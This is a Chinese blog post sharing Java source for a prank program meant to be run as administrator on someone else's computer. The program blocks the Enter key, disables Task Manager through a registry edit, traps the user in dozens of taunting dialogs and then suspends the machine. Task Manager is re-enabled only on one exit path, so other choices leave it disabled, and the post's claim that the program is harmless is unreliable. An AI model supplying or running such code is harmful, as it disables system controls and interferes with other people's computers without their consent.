今天来一次霍霍电脑了啊,功能很强大,在点击是不能用回车,自动禁用任务管理器。记得以管理员程序运行哦!
import javax.swing.JOptionPane;
import java.awt.*;
import java.awt.event.AWTEventListener;
import java.awt.event.KeyEvent;
import java.io.IOException;
public class 我的惊喜 {
//禁用用户的回车键
public static void main(String[] args) {
Toolkit.getDefaultToolkit().addAWTEventListener(new AWTEventListener() {
@Override
public void eventDispatched(AWTEvent event) {
KeyEvent e = (KeyEvent) event;
if (e.getKeyCode() == KeyEvent.VK_ENTER) {
e.consume();
}
}
}, AWTEvent.KEY_EVENT_MASK);
try {
// 禁用任务管理器
String disableTaskManagerCommand = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f";
Process disableTaskManagerProcess = Runtime.getRuntime().exec(disableTaskManagerCommand);
disableTaskManagerProcess.waitFor();
boolean playAgain = true;
JOptionPane.showMessageDialog(null, "你好呀,我准备了一个惊喜,快点确认吧!", "惊喜", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "你竟然乖乖的点击了确认,你丸辣!", "噩梦的开始", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "反正你也无法关闭了,点确定呀,略略略", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "快点我吧!", "烦死你", JOptionPane.INFORMATION_MESSAGE);
while (playAgain) {
JOptionPane.showMessageDialog(null, "还剩60下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "59下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "58下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "57下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "56下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "55下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "54下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "53下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "52下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "51下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "50下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "49下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "48下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "47下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "46下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "45下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "44下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "43下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "42下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "41下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "40下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "39下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "38下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "37下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "36下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "35下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "34下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "33下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "32下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "31下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "加油加油,只剩下30下了", "小小的鼓励", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "29下", "继续烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "28下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "27下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "26下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "25下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "24下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "23下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "22下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "21下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "坚持就是胜利!只剩下20下了", "大大的鼓励", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "19下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "18下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "17下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "16下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "15下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "14下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "13下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "12下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "11下", "烦死你", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "最后10下!", "大大大大大大的鼓励", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "最后9下", "加油", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "8下", "加油", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "7下", "加油", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "6下", "加油", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "5下", "加油", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "4下", "加油", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "最后3下!", "加油加油", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "最后2下!!", "加油加油加油", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "最后1下!!!", "加油加油加油加油", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "结束了!..................吗?", "哈哈,你被耍了!!!", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "先别急着揍我,看在你点了那么多次的份上,我还是有奖励的", "别打我呀", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "诺,点击确定按钮后会有是和否两个选择,是就退出啦!", "可以退出啦哟", JOptionPane.INFORMATION_MESSAGE);
int option = JOptionPane.showConfirmDialog(null, "是否退出?", "询问一下", JOptionPane.YES_NO_OPTION);
if (option == JOptionPane.YES_OPTION) {
try {
String command = "rundll32.exe powrprof.dll,SetSuspendState";
Process process = Runtime.getRuntime().exec(command);
process.waitFor();
if (playAgain =true) {
JOptionPane.showMessageDialog(null, "哈哈,你乖乖的点击了确认这是你应得的!", "可以退出啦哟", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "对不起了!", "可以退出啦哟", JOptionPane.INFORMATION_MESSAGE);
}
playAgain = false;
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
// 重新启用任务管理器
String enableTaskManagerCommand = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 0 /f";
Process enableTaskManagerProcess = Runtime.getRuntime().exec(enableTaskManagerCommand);
enableTaskManagerProcess.waitFor();
// 重新启用键盘服务
String enableKeyboardServiceCommand = "sc config i8042prt start= demand";
Process enableKeyboardServiceProcess = Runtime.getRuntime().exec(enableKeyboardServiceCommand);
enableKeyboardServiceProcess.waitFor();
} else if (option == JOptionPane.NO_OPTION) {
JOptionPane.showMessageDialog(null, "你竟然敢不听我的话", "非常生气", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "你这下彻底丸辣!", "非常非常生气", JOptionPane.INFORMATION_MESSAGE);
} else if (option == JOptionPane.CLOSED_OPTION) {
JOptionPane.showMessageDialog(null, "你竟然敢不听我的话", "非常生气", JOptionPane.INFORMATION_MESSAGE);
JOptionPane.showMessageDialog(null, "你这下彻底丸辣!", "非常非常生气", JOptionPane.INFORMATION_MESSAGE);
}
}
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
只是睡眠电脑,不会有什么数据丢失的。放心使用吧!
标签:INFORMATION,烦死,编程,JOptionPane,showMessageDialog,MESSAGE,null,小学生 From: https://blog.csdn.net/chengxuyuan1410/article/details/145269266